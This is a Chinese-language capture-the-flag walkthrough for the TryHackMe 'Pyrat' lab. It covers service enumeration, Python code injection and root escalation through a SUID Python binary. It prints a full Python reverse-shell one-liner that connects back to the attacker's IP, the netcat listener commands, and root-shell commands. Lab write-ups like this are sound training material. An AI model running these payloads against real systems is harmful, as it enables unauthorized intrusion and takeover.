TryHackMe 挑战:Pyrat 渗透测试教学指南
文档目标: 本指南将一步步讲解如何对目标机器 “Pyrat” 进行渗透测试,从初始信息收集到最终获取 root 权限。此挑战的核心是识别并利用一个不安全的 Python HTTP 服务。
目标技能: 网络扫描、服务枚举、Python 代码注入、反向 Shell 利用、Linux 权限提升。
第一阶段:信息收集
信息收集是渗透测试的第一步,目标是尽可能多地了解目标系统。
1. 端口扫描
使用 nmap 工具对目标 IP 地址进行全端口扫描,以发现开放的服务。
nmap -sV -sC -p- <目标IP>
-sV: 探测服务版本。-sC: 使用默认脚本进行扫描。-p-: 扫描所有 65535 个端口。
扫描结果分析:
根据文章,扫描结果如下:
- 22/tcp: 开放
SSH服务,运行的是OpenSSH 8.2p1。这通常不是首要攻击点,但可用于后续登录。 - 8000/tcp: 开放一个
HTTP服务,运行的是SimpleHTTP/0.6 Python/3.11.2。这是本次挑战的核心攻击入口。
关键发现: Nmap 的服务指纹识别遇到了异常。它对 8000 端口的探测请求返回了 Python 的错误信息,例如:
name ‘GET’ is not definedinvalid syntax (<string>, line 1)source code string cannot contain null bytes
结论: 这些错误信息强烈暗示,该服务并非标准的 Web 服务器,而是一个直接执行用户输入(或某种形式请求)的 Python 应用程序。它将 HTTP 方法(如 GET)和请求数据当作 Python 代码来解析,但由于语法错误或未定义变量而失败。
第二阶段:漏洞分析与利用
1. 服务交互测试
文章提到访问 Web 页面(http://<目标IP>:8000)后,提示使用 “更基础的连接”。这暗示需要使用原始 TCP 连接而非 HTTP 协议来与服务交互。
使用 netcat (nc) 工具进行测试:
nc <目标IP> 8000
输入 hello 后,服务回应了 hello。这表明服务存在一个简单的回显功能,更重要的是,它可能直接执行了我们发送的输入。
2. 漏洞确认:Python 代码注入
基于 Nmap 的错误信息和交互测试,我们可以推断该服务存在 Python 代码注入漏洞。它很可能使用了不安全的函数,如 eval() 或 exec(),来处理输入数据。
3. 获取反向 Shell
我们的目标是获取一个可在目标机器上执行命令的 Shell。由于服务在 8000 端口监听,我们可以构造一个 Python 反向 Shell 的 payload。
反向 Shell 原理: 让目标机器主动连接至我们控制的攻击机上的一个监听端口,并将其命令 Shell 绑定到该网络连接上。
攻击步骤:
a. 在攻击机上启动 Netcat 监听器:
选择一个攻击机上未被占用的端口(例如 4444)。
nc -lvnp 4444
-l: 监听模式。-v: 详细输出。-n: 不解析域名。-p: 指定监听端口。
b. 构造 Python 反向 Shell Payload:
标准的 Python 反向 Shell 代码如下:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])
c. 通过 TCP 连接发送 Payload:
再次使用 netcat 连接到目标的 8000 端口,并将上述 Python 代码作为输入发送。
nc <目标IP> 8000
在连接建立后,粘贴或输入整个 Python 代码块,然后按回车。
d. 获取 Shell:
如果漏洞利用成功,您会看到攻击机上的 Netcat 监听器收到了一个连接,并获得了目标机器的一个非特权用户(例如 www-data 或 pyrat)的 Shell。
$ whoami
www-data
第三阶段:权限提升
在获得初始立足点后,下一步是提升权限至 root。
1. 内部信息枚举
在目标机器上,首先进行常规枚举,寻找配置错误、敏感文件或可利用的服务。
常用命令:
# 检查当前用户权限
sudo -l
# 查看系统版本和信息
uname -a
cat /etc/os-release
# 查找具有 SUID 权限的可执行文件
find / -perm -u=s -type f 2>/dev/null
# 查找当前用户可写的文件或目录
find / -writable 2>/dev/null | grep -v proc
2. 关键发现与提权方法
根据文章内容(“提权”部分),挑战的关键在于发现一个具有 SUID 位设置的 Python 解释器。
SUID 位说明: 当一个具有 SUID 权限的可执行文件运行时,它将以文件所有者的权限而非执行者的权限运行。如果 python 被设置了 SUID 且所有者为 root,那么运行它就能获得一个 root shell。
提权步骤:
a. 查找 SUID 文件:
在目标 Shell 中执行:
find / -perm -u=s -type f 2>/dev/null
在结果中,您很可能会发现一个不寻常的 Python 二进制文件路径,例如 /usr/bin/python3.11(或类似版本),并且其权限中包含 s(如 -rwsr-xr-x)。
b. 利用 SUID Python 获取 Root Shell:
直接运行这个 Python 解释器,并使用 -c 参数执行命令。因为它具有 root 权限,所以它可以生成一个 root shell。
/usr/bin/python3.11 -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
或者更简单的方式:
/usr/bin/python3.11 -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’
命令解释:
os.setuid(0): 将进程的有效用户 ID 设置为 0(即 root)。os.system("/bin/sh"): 启动一个 shell。由于进程已是 root 权限,这个 shell 就是 root shell。
c. 验证权限:
执行 whoami 或 id 命令,确认当前用户已变为 root。
# whoami
root
至此,您已经成功完成了对 Pyrat 目标的渗透测试,从外部侦察到最终获得最高权限。
总结与核心知识点
- 服务指纹识别异常即线索: Nmap 等工具返回的非标准错误信息是发现自定义或易受攻击服务的重要线索。
- Python 代码注入: 不安全的输入处理(如使用
eval/exec)会导致远程代码执行。 - 反向 Shell: 是穿透网络边界(如防火墙)获取远程访问的经典技术。
- Linux 权限提升 - SUID: 始终检查 SUID 二进制文件,特别是像 Python、Bash、Cp、Mv 这类解释器或常用命令,它们是常见的提权向量。
安全建议:
- 永远不要使用
eval()或exec()来处理不可信的用户输入。 - 遵循最小权限原则,避免为不必要的文件或程序设置 SUID 位。
- 定期进行系统审计和漏洞扫描。
希望这份详尽的指南对您有所帮助!